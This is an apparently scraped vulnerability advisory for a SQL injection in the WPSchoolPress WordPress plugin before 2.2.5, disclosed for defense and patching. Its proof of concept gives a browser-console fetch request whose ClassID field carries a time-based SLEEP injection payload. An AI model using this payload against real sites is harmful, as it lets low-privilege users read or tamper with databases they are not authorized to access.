Lucene search

K
wpvulndbDao Xuan HieuWPVDB-ID:59DD3917-01CB-479F-A557-021B2A5147DF
HistorySep 25, 2023 - 12:00 a.m.

WPSchoolPress < 2.2.5 - Teacher+ SQLi

2023-09-2500:00:00
Dao Xuan Hieu
wpscan.com
4
wordpress
sql injection
low-privilege users

0.001 Low

EPSS

Percentile

19.4%

Description The plugin uses the WordPress esc_sql() function on a field not delimited by quotes and did not first prepare the query, leading to a SQL injection exploitable by relatively low-privilege users like Teachers.

PoC

1. Install the WPSchoolpress plugin and Import Demo Data. 2. Log in as a teacher 3. Paste the following script in the browser’s console, and notice it hangs for a couple seconds, indicating the attack succeeded: await fetch("http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=sch-student", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1" }, "referrer": "http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin.php?page=sch-student", "body": "ClassID=ClassID=0+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))abc)", "method": "POST", "mode": "cors" });

CPENameOperatorVersion
eq2.2.5

0.001 Low

EPSS

Percentile

19.4%

Related for WPVDB-ID:59DD3917-01CB-479F-A557-021B2A5147DF